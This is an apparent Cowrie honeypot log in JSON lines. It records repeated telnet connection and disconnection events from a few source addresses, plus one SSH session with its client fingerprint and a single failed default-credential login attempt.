{"eventid":"cowrie.session.closed","duration":35.75129437446594,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:35.241493Z","src_ip":"161.132.53.68","session":"744d9497c14b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.902167320251465,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:35.263764Z","src_ip":"174.142.104.49","session":"cebdfffdbef6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":45840,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e949b64587c","protocol":"telnet","message":"New connection: 174.142.104.49:45840 (159.203.135.109:23) [session: 1e949b64587c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:35.286517Z"}
{"eventid":"cowrie.session.closed","duration":0.005945920944213867,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:35.292324Z","src_ip":"174.142.104.49","session":"1e949b64587c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.887219667434692,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:35.434981Z","src_ip":"174.142.104.49","session":"c2c9400d90fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.136804580688477,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:36.170970Z","src_ip":"161.132.53.68","session":"43ab1d875968","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.81941294670105,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:36.376769Z","src_ip":"161.132.53.68","session":"fbaab5fe2e82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.645917892456055,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:36.490459Z","src_ip":"174.142.104.49","session":"73ee02f9f59c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":47700,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a24ea841d61","protocol":"telnet","message":"New connection: 174.142.104.49:47700 (159.203.135.109:23) [session: 6a24ea841d61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:36.690536Z"}
{"eventid":"cowrie.session.closed","duration":0.004134416580200195,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:36.694568Z","src_ip":"174.142.104.49","session":"6a24ea841d61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":45250,"dst_ip":"159.203.135.109","dst_port":23,"session":"271769601ced","protocol":"telnet","message":"New connection: 174.142.104.49:45250 (159.203.135.109:23) [session: 271769601ced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:36.777806Z"}
{"eventid":"cowrie.session.closed","duration":31.104926586151123,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:37.930403Z","src_ip":"174.142.104.49","session":"8f95287017f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":48924,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a78ea84fb46","protocol":"telnet","message":"New connection: 174.142.104.49:48924 (159.203.135.109:23) [session: 9a78ea84fb46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:38.442926Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":47616,"dst_ip":"159.203.135.109","dst_port":23,"session":"95d5497e7cfa","protocol":"telnet","message":"New connection: 174.142.104.49:47616 (159.203.135.109:23) [session: 95d5497e7cfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:38.666816Z"}
{"eventid":"cowrie.session.closed","duration":30.832366228103638,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:38.775826Z","src_ip":"174.142.104.49","session":"b06b64d6a193","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":47900,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d80522ea869","protocol":"telnet","message":"New connection: 174.142.104.49:47900 (159.203.135.109:23) [session: 4d80522ea869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:38.857455Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":48730,"dst_ip":"159.203.135.109","dst_port":23,"session":"41f226443c4b","protocol":"telnet","message":"New connection: 174.142.104.49:48730 (159.203.135.109:23) [session: 41f226443c4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:39.336899Z"}
{"eventid":"cowrie.session.closed","duration":30.61407732963562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:39.476265Z","src_ip":"174.142.104.49","session":"66c7cf69e5c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.181520223617554,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:39.958988Z","src_ip":"174.142.104.49","session":"f148d6a631a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.002498865127563,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:40.307532Z","src_ip":"161.132.53.68","session":"3069c519c9b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89678430557251,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:40.448921Z","src_ip":"174.142.104.49","session":"346e220d3527","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.62902879714966,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:41.158068Z","src_ip":"161.132.53.68","session":"d4407c7c4c87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":53844,"dst_ip":"159.203.135.109","dst_port":23,"session":"786201289acf","protocol":"telnet","message":"New connection: 174.142.104.49:53844 (159.203.135.109:23) [session: 786201289acf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:41.250101Z"}
{"eventid":"cowrie.session.closed","duration":30.691640853881836,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:41.367941Z","src_ip":"174.142.104.49","session":"53c15e6af892","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91948175430298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:41.568287Z","src_ip":"104.245.105.2","session":"f9930783107f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":56740,"dst_ip":"159.203.135.109","dst_port":23,"session":"96e2ff211f86","protocol":"telnet","message":"New connection: 174.142.104.49:56740 (159.203.135.109:23) [session: 96e2ff211f86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:43.069778Z"}
{"eventid":"cowrie.session.connect","src_ip":"36.25.25.9","src_port":56375,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ae8fd17466f","protocol":"telnet","message":"New connection: 36.25.25.9:56375 (159.203.135.109:23) [session: 3ae8fd17466f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:43.370167Z"}
{"eventid":"cowrie.session.closed","duration":31.04896330833435,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:43.735477Z","src_ip":"174.142.104.49","session":"35f2a821ecbc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":58860,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c0f8422128d","protocol":"telnet","message":"New connection: 174.142.104.49:58860 (159.203.135.109:23) [session: 2c0f8422128d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:44.323640Z"}
{"eventid":"cowrie.session.closed","duration":75.51515173912048,"message":"Connection lost after 75 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:44.525838Z","src_ip":"174.142.104.49","session":"69c8339650fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59352,"dst_ip":"159.203.135.109","dst_port":23,"session":"76a4c7d90f0c","protocol":"telnet","message":"New connection: 174.142.104.49:59352 (159.203.135.109:23) [session: 76a4c7d90f0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:44.646825Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59730,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e04ff4555b3","protocol":"telnet","message":"New connection: 174.142.104.49:59730 (159.203.135.109:23) [session: 4e04ff4555b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:44.903446Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":60502,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ec7376bbf85","protocol":"telnet","message":"New connection: 174.142.104.49:60502 (159.203.135.109:23) [session: 1ec7376bbf85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:45.286221Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59344,"dst_ip":"159.203.135.109","dst_port":23,"session":"44763bb45187","protocol":"telnet","message":"New connection: 174.142.104.49:59344 (159.203.135.109:23) [session: 44763bb45187]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:45.637999Z"}
{"eventid":"cowrie.session.connect","src_ip":"220.119.37.141","src_port":44698,"dst_ip":"10.17.0.5","dst_port":22,"session":"0458726ffc02","protocol":"ssh","message":"New connection: 220.119.37.141:44698 (10.17.0.5:22) [session: 0458726ffc02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:45.679752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:45.684954Z","src_ip":"220.119.37.141","session":"0458726ffc02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:45.878696Z","src_ip":"220.119.37.141","session":"0458726ffc02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":33820,"dst_ip":"159.203.135.109","dst_port":23,"session":"eada28a1f162","protocol":"telnet","message":"New connection: 174.142.104.49:33820 (159.203.135.109:23) [session: eada28a1f162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:46.301581Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":60864,"dst_ip":"159.203.135.109","dst_port":23,"session":"c47d77baa61d","protocol":"telnet","message":"New connection: 174.142.104.49:60864 (159.203.135.109:23) [session: c47d77baa61d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:46.468816Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":48602,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9a2737835af","protocol":"telnet","message":"New connection: 174.142.104.49:48602 (159.203.135.109:23) [session: a9a2737835af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:46.505584Z"}
{"eventid":"cowrie.login.failed","username":"server1","password":"server1","message":"login attempt [server1/server1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:46.680568Z","src_ip":"220.119.37.141","session":"0458726ffc02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.56656575202942,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:47.387046Z","src_ip":"174.142.104.49","session":"872aaf8084ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01968240737915,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:47.796899Z","src_ip":"174.142.104.49","session":"c8bbfa52bf3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:47.884647Z","src_ip":"220.119.37.141","session":"0458726ffc02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.26446223258972,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:48.046668Z","src_ip":"174.142.104.49","session":"c83b257a07db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":36844,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6b6bb1612dd","protocol":"telnet","message":"New connection: 174.142.104.49:36844 (159.203.135.109:23) [session: d6b6bb1612dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:48.081756Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":37224,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1e14e1291a2","protocol":"telnet","message":"New connection: 174.142.104.49:37224 (159.203.135.109:23) [session: d1e14e1291a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:48.343530Z"}
{"eventid":"cowrie.session.closed","duration":30.457698106765747,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:48.607469Z","src_ip":"174.142.104.49","session":"dbf2b0cdcffb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.46253991127014,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:48.713924Z","src_ip":"174.142.104.49","session":"9b7d67f96b97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06572413444519,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:48.753445Z","src_ip":"174.142.104.49","session":"8d1c042bd99e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":66.42378091812134,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:49.761418Z","src_ip":"174.142.104.49","session":"6827802429a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.374341011047363,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:50.255744Z","src_ip":"174.142.104.49","session":"eb6883eb6df8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.737792015075684,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:50.415760Z","src_ip":"161.132.53.68","session":"5b0af5f61c12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00095510482788,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:50.570318Z","src_ip":"174.142.104.49","session":"bceb238ae6c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41766,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6cdc87d61d2","protocol":"telnet","message":"New connection: 174.142.104.49:41766 (159.203.135.109:23) [session: e6cdc87d61d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:51.004007Z"}
{"eventid":"cowrie.session.closed","duration":30.99758744239807,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:51.009113Z","src_ip":"174.142.104.49","session":"6b4d2cbf5b19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.674439668655396,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:51.321881Z","src_ip":"174.142.104.49","session":"9f5b79559260","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.06156301498413,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:51.905000Z","src_ip":"174.142.104.49","session":"08b409f93c9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":48520,"dst_ip":"10.17.0.5","dst_port":23,"session":"32a1e56bb3af","protocol":"telnet","message":"New connection: 104.245.105.2:48520 (10.17.0.5:23) [session: 32a1e56bb3af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:51.940200Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":38700,"dst_ip":"159.203.135.109","dst_port":23,"session":"b84201aabed3","protocol":"telnet","message":"New connection: 174.142.104.49:38700 (159.203.135.109:23) [session: b84201aabed3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:52.181817Z"}
{"eventid":"cowrie.session.closed","duration":31.471741437911987,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:53.902848Z","src_ip":"174.142.104.49","session":"789b35172196","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":59716,"dst_ip":"159.203.135.109","dst_port":23,"session":"8408bb2a06ec","protocol":"telnet","message":"New connection: 161.132.53.68:59716 (159.203.135.109:23) [session: 8408bb2a06ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:53.931658Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":48470,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a971c95ea6f","protocol":"telnet","message":"New connection: 174.142.104.49:48470 (159.203.135.109:23) [session: 0a971c95ea6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:54.849151Z"}
{"eventid":"cowrie.session.closed","duration":31.094635009765625,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:55.244881Z","src_ip":"174.142.104.49","session":"d5e29f25ca79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.27319073677063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:55.338626Z","src_ip":"174.142.104.49","session":"5d1224213667","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":50078,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d3ee8e339ff","protocol":"telnet","message":"New connection: 174.142.104.49:50078 (159.203.135.109:23) [session: 0d3ee8e339ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:55.751709Z"}
{"eventid":"cowrie.session.closed","duration":30.916340351104736,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:56.639824Z","src_ip":"174.142.104.49","session":"69346c1bff0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.281862735748291,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:56.651930Z","src_ip":"36.25.25.9","session":"3ae8fd17466f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.70363736152649,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:56.880514Z","src_ip":"174.142.104.49","session":"1e21b34d48dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.666714191436768,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:57.876800Z","src_ip":"174.142.104.49","session":"9c0ecc8c3f5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":50608,"dst_ip":"159.203.135.109","dst_port":23,"session":"c57c84105952","protocol":"telnet","message":"New connection: 161.132.53.68:50608 (159.203.135.109:23) [session: c57c84105952]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:58.726015Z"}
{"eventid":"cowrie.session.closed","duration":30.973094940185547,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:59.077688Z","src_ip":"161.132.53.68","session":"e7e3b1da2d2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.664040088653564,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:59.374879Z","src_ip":"174.142.104.49","session":"954576e2a26b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":56810,"dst_ip":"159.203.135.109","dst_port":23,"session":"6957a8ca80ee","protocol":"telnet","message":"New connection: 174.142.104.49:56810 (159.203.135.109:23) [session: 6957a8ca80ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:00.466476Z"}
{"eventid":"cowrie.session.closed","duration":31.361361265182495,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:01.122519Z","src_ip":"174.142.104.49","session":"61460cafa520","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":58640,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b5c351d39d0","protocol":"telnet","message":"New connection: 174.142.104.49:58640 (159.203.135.109:23) [session: 8b5c351d39d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:01.471451Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":55106,"dst_ip":"159.203.135.109","dst_port":23,"session":"025c7ec01ebe","protocol":"telnet","message":"New connection: 174.142.104.49:55106 (159.203.135.109:23) [session: 025c7ec01ebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:01.481216Z"}
{"eventid":"cowrie.session.closed","duration":31.168744564056396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:01.588331Z","src_ip":"104.245.105.2","session":"537b12fd39a7","protocol":"telnet"}
